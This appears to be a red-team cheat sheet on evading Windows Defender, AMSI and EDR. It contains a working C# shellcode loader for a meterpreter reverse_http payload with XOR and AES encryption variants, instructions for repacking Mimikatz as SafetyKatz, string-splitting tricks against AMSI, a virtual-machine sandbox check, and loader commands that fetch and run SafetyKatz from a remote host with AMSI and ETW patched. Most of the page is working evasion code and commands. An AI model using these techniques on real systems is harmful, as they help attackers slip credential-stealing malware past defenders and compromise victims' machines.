Static Analysis
Defender detection
PS C:\Tools\ExpandDefenderSig> Import-Module C:\Tools\ExpandDefenderSig\ExpandDefenderSig.ps1
PS C:\Tools\ExpandDefenderSig> ls "C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{50326593-AC5A-4EB5-A3F0-047A75D1470C}\mpavbase.vdm" | Expand-DefenderAVSignatureDB -OutputFileName mpavbase.raw
Directory: C:\Tools\ExpandDefenderSig
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/9/2024 12:50 PM 79092299 mpavbase.raw
PS C:\Tools\ExpandDefenderSig> C:\Tools\Strings\strings64.exe .\mpavbase.raw | Select-String -Pattern "WNcry@2ol7"
WNcry@2ol7d
WNcry@2ol7
DefenderCheck
DefenderCheck.exe Script.ps1
Also try with gocheck ; ThreatCheck or AVred:
AmsiScanner
Powershell scripts - AMSITrigger
Hunt for malicious string
AmsiTrigger_x64.exe -i C:\path\to\script.ps2
Bypass
Approches for Evasionusing System;
using System.Linq;
using System.Runtime.InteropServices;
namespace NotMalware
{
internal class Program
{
[DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
// Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
byte[] buf = new byte[] {<SNIP>};
// Allocate RW space for shellcode
IntPtr lpStartAddress = VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x1000, 0x04);
// Copy shellcode into allocated space
Marshal.Copy(buf, 0, lpStartAddress, buf.Length);
// Make shellcode in memory executable
UInt32 lpflOldProtect;
VirtualProtect(lpStartAddress, (UInt32)buf.Length, 0x20, out lpflOldProtect);
// Execute the shellcode in a new thread
UInt32 lpThreadId = 0;
IntPtr hThread = CreateThread(0, 0, lpStartAddress, IntPtr.Zero, 0, ref lpThreadId);
// Wait until the shellcode is done executing
WaitForSingleObject(hThread, 0xffffffff);
}
}
}
XOR Encryption
PS C:\Tools\NotMalware\NotMalware\bin\x64\Release> C:\Tools\ThreatCheck-master\ThreatCheck\ThreatCheck\bin\x64\Release\ThreatCheck.exe -f .\NotMalware.exe

XOR
our shellcode with the value 0x5C
(make sure to get rid of new lines, as this breaks the recipe).

Replace the shellcode in the program with the output, and then add a short loop which XORs
each byte with 0x5C
just before writing the shellcode to memory
<SNIP>
// XOR'd shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
byte[] buf = new byte[] { <SNIP> }
// Allocate RW space for shellcode
<SNIP>
// Decrypt shellcode
int i = 0;
while (i < buf.Length)
{
buf[i] = (byte)(buf[i] ^ 0x5c);
i++;
}
// Copy shellcode into allocated space
<SNIP>
Still detected:

AES Encryption

Modified code
<SNIP>
using System.Security.Cryptography;
namespace NotMalware
{
internal class Program
{
<SNIP>
static void Main(string[] args)
{
// Shellcode (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp)
string bufEnc = "<SNIP>";
// Decrypt shellcode
Aes aes = Aes.Create();
byte[] key = new byte[16] { 0x1f, 0x76, 0x8b, 0xd5, 0x7c, 0xbf, 0x02, 0x1b, 0x25, 0x1d, 0xeb, 0x07, 0x91, 0xd8, 0xc1, 0x97 };
byte[] iv = new byte[16] { 0xee, 0x7d, 0x63, 0x93, 0x6a, 0xc1, 0xf2, 0x86, 0xd8, 0xe4, 0xc5, 0xca, 0x82, 0xdf, 0xa5, 0xe2 };
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] buf;
using (var msDecrypt = new System.IO.MemoryStream(Convert.FromBase64String(bufEnc)))
{
using (var csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
{
using (var msPlain = new System.IO.MemoryStream())
{
csDecrypt.CopyTo(msPlain);
buf = msPlain.ToArray();
}
}
}
// Allocate RW space for shellcode
<SNIP>
"No threat found!"


But .... Behavorial detection

Basic Bypass
Amsitrigger flag "System.AppDomain" in PowerUp.ps1

Reverse the string
$string = 'niamoDppA.metsyS'
$classrev = ([regex]::Matches($string,'.','RightToLeft') | ForEach {$_vlaue}) -join ''
$AppDomain = [Reflection.Assembly].Assembly.GetType("$classrev").GetProperty('CurrentDomain').GetValue($null, @())
Other methods:
Remove default comments
Rename the script, functions names and variables
Modify the variable names of the Win32 API clals that are detected
Obfuscate PEBytes content -> use packers: https://github.com/mgeeky/ProtectMyTooling
Implement a reverse function for PEBytes to avoid static signatures
Add a sandbox check to waste dynamic analysis resources
Remove reflective PE warnings
Use obfuscated commands for Invoke-XXX
Simple obfuscation:
$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"
$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j
Invoke-Mimi -Command $Pwn
String manipulation
Example 1: SafetyKatz
Run DefenderCheck - String flagged
Open VisualStudio
Ctrl + H - Find and replace "Credentials" with "Credents" (make sur the new string is not present in the code)
Select Scope as "Entire Solution" - "Replace All"
Build and recheck with DefenderCheck
Download Mimikatz and Out-CompressedDll.ps1
Out-CompressedDll mimikatz.exe outputfile.txt
Copy the value of the variable $EncodedCompressedFile
and replace "compresedMimikatzString" in the Constants.cs
of SafetyKatz
Copy the byte size from the output and replace it in Program.cs
Build and recheck with DefenderCheck
Example 2: BetterSafetyKatz
Download "mimikatz_trunk.zip", convert the file to base64
filename = "C:\path\to\mimikatz_trunk.zip"
[Convert]::ToBase64String([IO.file]::ReadAllBytes($filename)) | clip
Modify the Program.cs
file:
Add a new variable that contains the base64
Comment the code that downloads or accepts the mimikatz file as argument
Convert the base64 string to bytes and pass it to "zipStream" variable
Obfuscation
C# Obfuscation
ConfuserEx
Launch ConfuserEx
In Project tab select the Base Directory where the binary file is located.
In Project tab Select the Binary File that we want to obfuscate.
In Settings tab add the rules.
In Settings tab edit the rule and select the preset as
Normal
.In Protect tab click on the protect button.
The new obfuscated binary is in the Confused folder under the Base Directory.
Nimcrypt2
Example with Rubeus
./nimcrypt -f Rubeus-original.exe -e -n -s --no-ppid-spoof -o Rubeus.exe -t csharp
-e: Encrypt strings using the strenc module
-n: Disable syscall name randomization
-s: Disable sandbox checks
--no-ppid-spoof: Disable PPID Spoofing
-t: Type of file
-o: Output filename
InvisibilityCloak
Obfuscar
Command Line Obfuscation
Powershell Obfuscation
Basic obfuscation
$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
$e = "a"
$d = "lS"
$c = "r"
$b = "EKu"
$a = "s"
$Pwn = $a + $b + $c +$d +$e + $f + $g + $h + $i + $j
Invoke-Mimi -Command $Pwn
x64 binaries
Packers
Sandbox check
# Target VMware and VirtualBox
$EvidenceOfSandbox = New-Object System.Collections.ArrayList
$FilePathsToCheck = 'C:\windows\System32\Drivers\Vmmouse.sys’,
'C:\windows\System32\Drivers\vm3dgl.dll',
'C:\windows\System32\Drivers\vmdum.dll’,
'C:\windows\System32\Drivers\vm3dver.dll',
'C:\windows\System32\Drivers\vmtray.dll',
'C:\windows\System32\Drivers\vmci.sys',
'C:\windows\System32\Drivers\vmusbmouse.sys',
'C:\windows\system32\Drivers\vmx_svga.sys',
'C:\windows\system32\Drivers\vmxnet.sys',
'C:\windows\System32\Drivers\VMToolsHook.dll',
'C:\windows\System32\Drivers\vmhgfs.dll',
'C:\windows\System32\Drivers\vmmousever.dll',
'C:\windows\System32\Drivers\vmGuestLib.dll',
'C:\windows\System32\Drivers\VmGuestLibJava.dll',
'C:\windows\System32\Drivers\vmscsi.sys',
'C:\windows\System32\Drivers\VBoxMouse.sys',
'C:\windows\System32\Drivers\VBoxGuest.sys',
'C:\windows\System32\Drivers\VBoxSF.sys',
'C:\windows\System32\Drivers\VBoxVideo.sys'
ForEach ($FilePath in $FilePathsToCheck) {
if (Test-Path $FilePath) {
[void]$EvidenceOfSandbox.Add($FilePath)
}
}
if ($EvidenceOfSandbox.count -eq 0) {
} else {
Write-Output "The following files on disk suggest we are running in a sandbox. Caution!."
$EvidenceOfSandbox
}
Payload Delivery
Use NetLoader with CsWhispers to add D/Invoke and indirect syscall execution
Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code' under build configuration.
Create a new file called CsWhispers.txt under CsWhispers.Sample and append NT API and struct equivalents that are required to be replaced in the NetLoader project.
Finally, append the NetLoader project into CSWhispers.Sample and replace appropriate WinAPIs with their NT equivalents. Build the solution.
Obfuscate the generated assembly using Nimcrypt2.
NetLoader can be used to loadbinary from filepathor URL and patch AMSI & ETW while executing.
C:\Users\Public\Loader.exe -path http://192.168.100.X/SafetyKatz.exe
AssemblyLoader can be used to load the Netloader in-memory from a URL which then loads a binary from a filepath or URL.
C:\Users\Public\AssemblyLoad.exe http://192.168.100.X/Loader.exe -path http://192.168.100.X/SafetyKatz.exe
Change Signature
Metasploit Payload
IEX Blocked
EDR/AV block this command
iex (iwr -useb 'http://10.10.10/PowerView.ps1')
Instead of using Invoke-Expression, simply copy and paste the script directly into the PowerShell terminal, storing it in a variable and then loading it into memory using an alternative method.

Other Tools
ToolsPayload CreationInteresting Books
Interesting BooksEvading EDR: The Definitive Guide to Defeating Endpoint Detection Systems The author uses his years of experience as a red team operator to investigate each of the most common sensor components, discussing their purpose, explaining their implementation, and showing the ways they collect various data points from the Microsoft operating system. In addition to covering the theory behind designing an effective EDR, each chapter also reveals documented evasion strategies for bypassing EDRs that red teamers can use in their engagements.
Resources
Last updated